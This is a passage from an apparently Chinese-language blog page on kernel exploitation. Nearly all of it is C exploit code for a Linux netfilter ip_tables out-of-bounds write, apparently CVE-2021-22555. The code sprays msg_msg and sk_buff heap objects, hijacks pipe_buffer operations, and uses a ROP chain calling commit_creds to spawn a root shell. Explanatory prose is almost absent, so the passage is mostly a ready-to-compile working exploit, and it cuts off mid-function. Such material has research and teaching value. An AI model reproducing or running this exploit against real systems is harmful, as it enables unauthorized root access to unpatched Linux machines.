number">0xffffffff810c9f00</span><span class="token punctuation">;</span>  <span class="token comment">// commit_creds</span>rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8108c5bc</span><span class="token punctuation">;</span>  <span class="token comment">// mov rsp, rbp ; pop rbp ; ret</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Releasing pipe_buffer objects..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">close</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] close"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">close</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] close"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><p>完整 exp 如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token comment">// gcc -m32 -static -o exp exp.c</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">_GNU_SOURCE</span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/ipc.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/msg.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/types.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdint.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sys/socket.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;net/if.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;netinet/in.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;err.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;linux/netfilter_ipv4/ip_tables.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;linux/netfilter/x_tables.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;unistd.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;errno.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;sched.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;inttypes.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PAGE_SIZE</span> <span class="token expression"><span class="token number">0x1000</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">PRIMARY_SIZE</span> <span class="token expression"><span class="token number">0x1000</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">SECONDARY_SIZE</span> <span class="token expression"><span class="token number">0x400</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_SOCKETS</span> <span class="token expression"><span class="token number">4</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_SKBUFFS</span> <span class="token expression"><span class="token number">128</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_PIPEFDS</span> <span class="token expression"><span class="token number">128</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">NUM_MSQIDS</span> <span class="token expression"><span class="token number">4096</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">HOLE_STEP</span> <span class="token expression"><span class="token number">1024</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_PRIMARY</span> <span class="token expression"><span class="token number">0x41</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_SECONDARY</span> <span class="token expression"><span class="token number">0x42</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MTYPE_FAKE</span> <span class="token expression"><span class="token number">0x1337</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_TAG</span> <span class="token expression"><span class="token number">0xAAAAAAAA</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">SKB_SHARED_INFO_SIZE</span> <span class="token expression"><span class="token number">0x140</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_MSG_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">MSG_MSGSEG_SIZE</span> <span class="token expression"><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msgseg</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span></span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> m_list_next<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_list_prev<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_type<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_ts<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> security<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">msg_msgseg</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> page<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> offset<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> len<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> ops<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> flags<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> pad<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> private<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint64_t</span> confirm<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> release<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> steal<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> get<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>PRIMARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_primary<span class="token punctuation">;</span><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_secondary<span class="token punctuation">;</span><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>PAGE_SIZE <span class="token operator">-</span> MSG_MSG_SIZE <span class="token operator">+</span> PAGE_SIZE <span class="token operator">-</span> MSG_MSGSEG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_fake<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">getRootShell</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[32m\033[1m[+] Backing from the kernelspace.\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">getuid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[31m\033[1m[x] Failed to get the root!\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">exit</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"\033[32m\033[1m[+] Successful to get the root. Execve root shell "</span>         <span class="token string">"now...\033[0m"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">system</span><span class="token punctuation">(</span><span class="token string">"/bin/sh"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">exit</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// to exit the process normally instead of segmentation fault</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">trigger_oob_write</span><span class="token punctuation">(</span><span class="token keyword">int</span> s<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">struct</span> <span class="token class-name">__attribute__</span><span class="token punctuation">(</span><span class="token punctuation">(</span>__packed__<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">struct</span> <span class="token class-name">ipt_replace</span> replace<span class="token punctuation">;</span>  <span class="token comment">// 0x5c</span>        <span class="token keyword">struct</span> <span class="token class-name">ipt_entry</span> entry<span class="token punctuation">;</span>      <span class="token comment">// 0x70</span>        <span class="token keyword">struct</span> <span class="token class-name">xt_entry_match</span> match<span class="token punctuation">;</span> <span class="token comment">// 0x20</span>        <span class="token keyword">char</span> match_data<span class="token punctuation">[</span>PAGE_SIZE <span class="token operator">-</span> <span class="token number">0x40</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">ipt_entry</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_entry_match</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">8</span> <span class="token operator">-</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token keyword">struct</span> <span class="token class-name">xt_entry_target</span> target<span class="token punctuation">;</span> <span class="token comment">// 0x20</span>    <span class="token punctuation">&#125;</span> data <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>num_counters <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>num_entries <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>replace<span class="token punctuation">.</span>size <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span>                         <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>entry<span class="token punctuation">.</span>next_offset <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span>                              <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>entry<span class="token punctuation">.</span>target_offset <span class="token operator">=</span>        <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>entry<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>match_size <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match_data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">strcpy</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token string">"icmp"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>match<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>revision <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>target_size <span class="token operator">=</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0x20</span>    <span class="token function">strcpy</span><span class="token punctuation">(</span>data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token string">"NFQUEUE"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    data<span class="token punctuation">.</span>target<span class="token punctuation">.</span>u<span class="token punctuation">.</span>user<span class="token punctuation">.</span>revision <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token comment">// Partially overwrite the adjacent buffer with 2 bytes of zero.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">setsockopt</span><span class="token punctuation">(</span>s<span class="token punctuation">,</span> SOL_IP<span class="token punctuation">,</span> IPT_SO_SET_REPLACE<span class="token punctuation">,</span> <span class="token operator">&amp;</span>data<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>errno <span class="token operator">==</span> ENOPROTOOPT<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] error ip_tables module is not loaded.\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">setup_sandbox</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">unshare</span><span class="token punctuation">(</span>CLONE_NEWUSER<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] unshare(CLONE_NEWUSER)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">unshare</span><span class="token punctuation">(</span>CLONE_NEWNET<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] unshare(CLONE_NEWNET)"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token class-name">cpu_set_t</span> set<span class="token punctuation">;</span>    <span class="token function">CPU_ZERO</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>set<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">CPU_SET</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>set<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">sched_setaffinity</span><span class="token punctuation">(</span><span class="token function">getpid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>set<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>set<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] sched_setaffinity"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">write_msg</span><span class="token punctuation">(</span><span class="token keyword">int</span> id<span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">void</span> <span class="token operator">*</span>msgp<span class="token punctuation">,</span> <span class="token class-name">size_t</span> msgsz<span class="token punctuation">,</span> <span class="token keyword">long</span> msgtyp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">long</span> <span class="token operator">*</span><span class="token punctuation">)</span>msgp <span class="token operator">=</span> msgtyp<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgsnd</span><span class="token punctuation">(</span>id<span class="token punctuation">,</span> msgp<span class="token punctuation">,</span> msgsz <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgsnd"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">read_msg</span><span class="token punctuation">(</span><span class="token keyword">int</span> id<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>msgp<span class="token punctuation">,</span> <span class="token class-name">size_t</span> msgsz<span class="token punctuation">,</span> <span class="token keyword">long</span> msgtyp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>id<span class="token punctuation">,</span> msgp<span class="token punctuation">,</span> msgsz <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">,</span> msgtyp<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgrcv"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">peek_msg</span><span class="token punctuation">(</span><span class="token keyword">int</span> id<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>msgp<span class="token punctuation">,</span> <span class="token class-name">size_t</span> msgsz<span class="token punctuation">,</span> <span class="token keyword">long</span> index<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">msgrcv</span><span class="token punctuation">(</span>id<span class="token punctuation">,</span> msgp<span class="token punctuation">,</span> msgsz <span class="token operator">-</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">long</span><span class="token punctuation">)</span><span class="token punctuation">,</span> index<span class="token punctuation">,</span> MSG_COPY <span class="token operator">|</span> IPC_NOWAIT<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] msgrcv"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_list_next<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_list_prev<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_ts<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> next<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    msg<span class="token operator">-></span>m_list_next <span class="token operator">=</span> m_list_next<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_list_prev <span class="token operator">=</span> m_list_prev<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_FAKE<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> m_ts<span class="token punctuation">;</span>    msg<span class="token operator">-></span>next <span class="token operator">=</span> next<span class="token punctuation">;</span>    msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">spray_skbuff</span><span class="token punctuation">(</span><span class="token keyword">int</span> ss<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">void</span> <span class="token operator">*</span>buf<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> size<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>                <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token 